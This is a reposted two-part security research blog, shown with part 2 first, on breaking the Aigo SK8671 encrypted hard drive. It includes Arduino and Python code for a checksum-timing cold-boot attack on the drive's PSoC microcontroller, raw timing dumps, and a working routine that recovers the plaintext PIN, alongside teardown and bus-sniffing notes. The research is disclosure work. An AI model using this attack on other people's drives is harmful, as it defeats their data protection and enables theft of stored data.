         checksum_delay = checksum_delay%1000;
      }
      else {
         ms_delay = 0;
      }
      send_checksum_v();
      if(checksum_delay)
          delayMicroseconds(checksum_delay);
      delay(ms_delay);
      start_pmode();
  1. It reads the checkum_delay
  2. Starts computing the checkum (send_checksum_v)
  3. Waits for the appropriate amount of time, with some caveats:
    • I lost some time here until I realized delayMicroseconds is precise only up to 16383µs)
    • and then again because delayMicroseconds(0) is totally wrong !
  4. Resets the PSoC to prog mode (without sending the initialization vectors, just the magic)

The final Python code is:

for delay in range(0, 150000):                          # delay in microseconds
    for i in range(0, 10):                              # number of reads for each delay
        try:
            reset_psoc(quiet=True)                      # reset and enter prog mode
            send_vectors()                              # send init vectors
            ser.write("\x85"+struct.pack(">I", delay))  # do checksum + reset after delay
            res = ser.read(1)                           # read arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5)  # open serial port
            continue
        print "%05d %02X %02X %02X" % (delay,           # read RAM bytes
                                       read_regb(0xf1),
                                       read_ramb(0xf8),
                                       read_ramb(0xf9))

What it does is simple:

  1. Reset the PSoC (and send the magic)
  2. Send the full initialization vectors
  3. Call the Cmnd_STK_START_CSUM (0x85) function on the Arduino, with a delay argument in microseconds.
  4. Reads the checksum (0xF8 and 0xF9) and the 0xF1 undocumented registers

This, 10 times per 1 microsecond step.

0xF1 is included as it was the only register that seemed to change while computing the checksum. It could be some temporary register used by the ALU ?

Note the ugly hack I use to reset the Arduino using picocom, when it stops responding (I have no idea why).

Reading the results

The output of the Python script looks like this (simplified for readability):

DELAY F1 F8 F9  # F1 is the unknown reg
                # F8 is the checksum LSB
                # F9 is the checksum MSB

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # Checksum is reset to 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # First byte is 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00  # 2nd byte is 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # I have no idea what's going on here
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # E7 is back ?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Hmmm
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # Oh ! Carry is propagated to MSB
00063 01 17 01
[...]
00075 CC 17 01  # So 0x117-0xE7: 0x30

We however have the the problem that since we have a real check sum, a null byte will not change the value, so we cannot only look for changes in the checksum. But, since the full (8192 bytes) computation runs in 0.1478s, which translates to about 18.04µs per byte, we can use this timing to sample the value of the checksum at the right points in time.

Of course at the beginning, everything is “easy” to read as the variation in execution time is negligible. But the end of the dump is less precise as the variability of each run increases:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Hence the 10 dumps for each µs of delay. The total running time to dump the 8192 bytes of flash was about 48h.

Reconstructing the flash image

I have not yet written the code to fully recover the flash, taking into account all the timing problems. However, I did recover the beginning. To make sure it was correct, I disassembled it with m8cdis:

0000: 80 67     jmp   0068h         ; Reset vector
[...]
0068: 71 10     or    F,010h
006a: 62 e3 87  mov   reg[VLT_CR],087h
006d: 70 ef     and   F,0efh
006f: 41 fe fb  and   reg[CPU_SCR1],0fbh
0072: 50 80     mov   A,080h
0074: 4e        swap  A,SP
0075: 55 fa 01  mov   [0fah],001h
0078: 4f        mov   X,SP
0079: 5b        mov   A,X
007a: 01 03     add   A,003h
007c: 53 f9     mov   [0f9h],A
007e: 55 f8 3a  mov   [0f8h],03ah
0081: 50 06     mov   A,006h
0083: 00        ssc
[...]
0122: 18        pop   A
0123: 71 10     or    F,010h
0125: 43 e3 10  or    reg[VLT_CR],010h
0128: 70 00     and   F,000h ; Paging mode changed from 3 to 0
012a: ef 62     jacc  008dh
012c: e0 00     jacc  012dh
012e: 71 10     or    F,010h
0130: 62 e0 02  mov   reg[OSC_CR0],002h
0133: 70 ef     and   F,0efh
0135: 62 e2 00  mov   reg[INT_VC],000h
0138: 7c 19 30  lcall 1930h
013b: 8f ff     jmp   013bh
013d: 50 08     mov   A,008h
013f: 7f        ret

It looks good !

Locating the PIN address

Now that we can read the checksum at arbitrary points in time, we can check easily if and where it changes after:

  • entering a wrong PIN
  • changing the PIN

First, to locate the approximate location, I dumped the checksum in steps for 10ms after reset. Then I entered a wrong PIN and did the same.

The results were not very nice as there’s a lot of variation, but it appeared that the checksum changes between 120000µs and 140000µs of delay. Which was actually completely false and an artefact of delayMicrosecondsdoing non-sense when called with 0.

Then, after losing about 3 hours, I remembered that the SROM’s CheckSum syscall has an argument that allows to specify the number of blocks to checksum ! So we can easily locate the PIN and “bad PIN” counter down to a 64-byte block.

My initial runs gave:

No bad PIN          |   14 tries remaining  |   13 tries remaining
                    |                       |
block 125 : 0x47E2  |   block 125 : 0x47E2  |   block 125 : 0x47E2
block 126 : 0x6385  |   block 126 : 0x634F  |   block 126 : 0x6324
block 127 : 0x6385  |   block 127 : 0x634F  |   block 127 : 0x6324
block 128 : 0x82BC  |   block 128 : 0x8286  |   block 128 : 0x825B

Then I changed the PIN from “123456” to “1234567”, and I got:

No bad try            14 tries remaining
block 125 : 0x47E2    block 125 : 0x47E2
block 126 : 0x63BE    block 126 : 0x6355
block 127 : 0x63BE    block 127 : 0x6355
block 128 : 0x82F5    block 128 : 0x828C

So both the PIN and “bad PIN” counter seem to be stored in block 126.

Dumping block 126

Block 126 should be about 125x64x18 = 144000µs after the start of the checksum. So make sure, I looked for checksum 0x47E2 in my full dump, and it looked more or less correct.

Then, after dumping lots of imprecise (because of timing) data, manually fixing the results and comparing flash values (by staring at them), I finally got the following bytes at delay 145527µs:

PIN          Flash content
1234567      2526272021222319141402
123456       2526272021221919141402
998877       2d2d2c2c23231914141402
0987654      242d2c2322212019141402
123456789    252627202122232c2d1902

It is quite obvious that the PIN is stored directly in plaintext ! The values are not ASCII or raw values but probably reflect the readings from the capacitive keyboard.

Finally, I did some other tests to find where the “bad PIN” counter is, and found this :

Delay  CSUM
145996 56E5 (old: 56E2, val: 03)
146020 571B (old: 56E5, val: 36)
146045 5759 (old: 571B, val: 3E)
146061 57F2 (old: 5759, val: 99)
146083 58F1 (old: 57F2, val: FF) <<---- here
146100 58F2 (old: 58F1, val: 01)

0xFF means “15 tries” and it gets decremented with each bad PIN entered.

Recovering the PIN

Putting everything together, my ugly code for recovering the PIN is:

def dump_pin():
    pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
               0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
    last_csum = 0
    pin_bytes = []
    for delay in range(145495, 145719, 16):
        csum = csum_at(delay, 1)
        byte = (csum-last_csum)&0xFF
        print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
        pin_bytes.append(byte)
        last_csum = csum
    print "PIN: ",
    for i in range(0, len(pin_bytes)):
        if pin_bytes[i] in pin_map:
            print pin_map[pin_bytes[i]],
    print

Which outputs:

$ ./psoc.py 
syncing:  KO  OK
Resetting PSoC:  KO  Resetting PSoC:  KO  Resetting PSoC:  OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN:  1 2 3 4 5 6 7 8 9

Great success !

Note that the delay values I used are probably valid only on the specific PSoC I have.

What’s next ?

So, to sum up on the PSoC side in the context of our Aigo HDD:

  • we can read the SRAM even when it’s protected (by design)
  • we can bypass the flash read protection by doing a cold-boot stepping attack and read the PIN directly

However, the attack is a bit painful to mount because of timing issues. We could improve it by:

  • writing a tool to correctly decode the cold-boot attack output
  • using a FPGA for more precise timings (or use Arduino hardware timers)
  • trying another attack: “enter wrong PIN, reset and dump RAM”, hopefully the good PIN will be stored in RAM for comparison. However, it is not easily doable on Arduino, as it outputs 5V while the board runs on 3.3V.

One very cool thing to try would be to use voltage glitching to bypass the read protection. If it can be made to work, it would give us absolutely accurate reads of the flash, instead of having to rely on checksum readings with poor timings.

As the SROM probably reads the flash protection bits in the ReadBlock “syscall”, we can maybe do the same as in described on Dmitry Nedospasov’s blog, a reimplementation of Chris Gerlinsky’s attack presented at REcon Brussels 2017.

One other fun thing would also be to decap the chip and image it to dump the SROM, uncovering undocumented syscalls and maybe vulnerabilities ?

Conclusion

To conclude, the drive’s security is broken, as it relies on a normal (not hardened) micro-controller to store the PIN… and I have not (yet) checked the data encryption part !

What should Aigo have done ? After reviewing a few encrypted HDD models, I did a presentation at SyScan in 2015 which highlights the challenges in designing a secure and usable encrypted external drive and gives a few options to do something better 🙂

Overall, I spent 2 week-ends and a few evenings, so probably around 40 hours from the very beginning (opening the drive) to the end (dumping the PIN), including writing those 2 blog posts. A very fun and interesting journey 😉

Aigo Chinese encrypted HDD − Part 1: taking it apart

Original post by Raphaël Rigo on syscall.eu ( under CC-BY-SA 4.0 )

Introduction

Analyzing and breaking external encrypted HDD has been a “hobby” of mine for quite some time. With my colleagues Joffrey Czarny and Julien Lenoir we looked at several models in the past:

  • Zalman VE-400
  • Zalman ZM-SHE500
  • Zalman ZM-VE500

Here I am going to detail how I had fun with one drive a colleague gave me: the Chinese Aigo “Patriot” SK8671, which follows the classical design for external encrypted HDDs: a LCD for information diplay and a keyboard to enter the PIN.

DISCLAIMER: This research was done on my personal time and is not related to my employer.

Patriot HDD front view with keyboard Patriot HDD package
Enclosure
Packaging

The user must input a password to access data, which is supposedly encrypted.

Note that the options are very limited:

  • the PIN can be changed by pressing F1 before unlocking
  • the PIN must be between 6 and 9 digits
  • there is a wrong PIN counter, which (I think) destroys data when it reaches 15 tries.

In practice, F2, F3 and F4 are useless.

Hardware design

Of course one of the first things we do is tear down everything to identify the various components.

Removing the case is actually boring, with lots of very small screws and plastic to break.

In the end, we get this (note that I soldered the 5 pins header):

disk

Main PCB

The main PCB is pretty simple:

main PCB

Important parts, from top to bottom:

  • connector to the LCD PCB (CN1)
  • beeper (SP1)
  • Pm25LD010 (datasheet) SPI flash (U2)
  • Jmicron JMS539 (datasheet) USB-SATA controller (U1)
  • USB 3 connector (J1)

The SPI flash stores the JMS539 firmware and some settings.

LCD PCB

The LCD PCB is not really interesting:

LCD view

LCD PCB

It has:

  • an unknown LCD character display (with Chinese fonts probably), with serial control
  • a ribbon connector to the keyboard PCB

Keyboard PCB

Things get more interesting when we start to look at the keyboard PCB:

Keyboard PCB, back

Here, on the back we can see the ribbon connector and a Cypress CY8C21434 PSoC 1 microcontroller (I’ll mostly refer to it as “µC” or “PSoC”):CY8C21434

The CY8C21434 is using the M8C instruction set, which is documented in the Assembly Language User Guide.

The product page states it supports CapSense, Cypress’ technology for capacitive keyboards, the technology in use here.

You can see the header I soldered, which is the standard ISSP programming header.

Following wires

It is always useful to get an idea of what’s connected to what. Here the PCB has rather big connectors and using a multimeter in continuity testing mode is enough to identify the connections:

hand drawn schematic

Some help to read this poorly drawn figure:

  • the PSoC is represented as in the datasheet
  • the next connector on the right is the ISSP header, which thankfully matches what we can find online
  • the right most connector is the clip for the ribbon, still on the keyboard PCB
  • the black square contains a drawing of the CN1 connector from the main PCB, where the cable goes to the LCD PCB. P11, P13 and P4 are linked to the PSoC pins 11, 13 and 4 through the LCD PCB.

Attack steps

Now that we know what are the different parts, the basic steps would be the same as for the drives analyzed in previous research :

  • make sure basic encryption functionnality is there
  • find how the encryption keys are generated / stored
  • find out where the PIN is verified

However, in practice I was not really focused on breaking the security but more on having fun. So, I did the following steps instead:

  • dump the SPI flash content
  • try to dump PSoC flash memory (see part 2)
  • start writing the blog post
  • realize that the communications between the Cypress PSoC and the JMS539 actually contains keyboard presses
  • verify that nothing is stored in the SPI when the password is changed
  • be too lazy to reverse the 8051 firmware of the JMS539
  • TBD: finish analyzing the overall security of the drive (in part 3 ?)

Dumping the SPI flash

Dumping the flash is rather easy:

  • connect probes to the CLKMOSIMISO and (optionally) EN pins of the flash
  • sniff the communications using a logic analyzer (I used a Saleae Logic Pro 16)
  • decode the SPI protocol and export the results in CSV
  • use decode_spi.rb to parse the results and get a dump

Note that this works very well with the JMS539 as it loads its whole firmware from flash at boot time.

$ decode_spi.rb boot_spi1.csv dump
0.039776 : WRITE DISABLE
0.039777 : JEDEC READ ID
0.039784 : ID 0x7f 0x9d 0x21
---------------------
0.039788 : READ @ 0x0
0x12,0x42,0x00,0xd3,0x22,0x00,
[...]
$ ls --size --block-size=1 dump
49152 dump
$ sha1sum dump
3d9db0dde7b4aadd2b7705a46b5d04e1a1f3b125  dump

Unfortunately it does not seem obviously useful as:

  • the content did not change after changing the PIN
  • the flash is actually never accessed after boot

So it probably only holds the firmware for the JMicron controller, which embeds a 8051 microcontroller.

Sniffing communications

One way to find which chip is responsible for what is to check communications for interesting timing/content.

As we know, the USB-SATA controller is connected to the screen and the Cypress µC through the CN1 connector and the two ribbons. So, we hook probes to the 3 relevant pins:

  • P4, generic I/O in the datasheet
  • P11, I²C SCL in the datasheet
  • P13, I²C SDA in the datasheet

probes

We then launch Saleae logic analyzer, set the trigger and enter “123456✓” on the keyboard. Which gives us the following view:

Saleae logic analyzer screenshot

You can see 3 differents types of communications:

  • on the P4 channel, some short bursts
  • on P11 and P13, almost continuous exchanges

Zooming on the first P4 burst (blue rectangle in previous picture), we get this :

P4 zoom

You can see here that P4 is almost 70ms of pure regular signal, which could be a clock. However, after spending some time making sense of this, I realized that it was actually a signal for the “beep” that goes off every time a key is touched… So it is not very useful in itself, however, it is a good marker to know when a keypress was registered by the PSoC.

However, we have on extra “beep” in the first picture, which is slightly different: the sound for “wrong pin” !

Going back to our keypresses, when zooming at the end of the beep (see the blue rectangle again), we get:end of beep zoom

Where we have a regular pattern, with a (probable) clock on P11 and data on P13. Note how the pattern changes after the end of the beep. It could be interesting to see what’s going on here.

2-wires protocols are usually SPI or I²C, and the Cypress datasheet says the pins correspond to I²C, which is apparently the case:i2c decoding of '1' keypress

The USB-SATA chipset constantly polls the PSoC to read the key state, which is ‘0’ by default. It then changes to ‘1’ when key ‘1’ was pressed.

The final communication, right after pressing “✓”, is different if a valid PIN is entered. However, for now I have not checked what the actual transmission is and it does not seem that an encryption key is transmitted.

Anyway, see part 2 to read how I did dump the PSoC internal flash.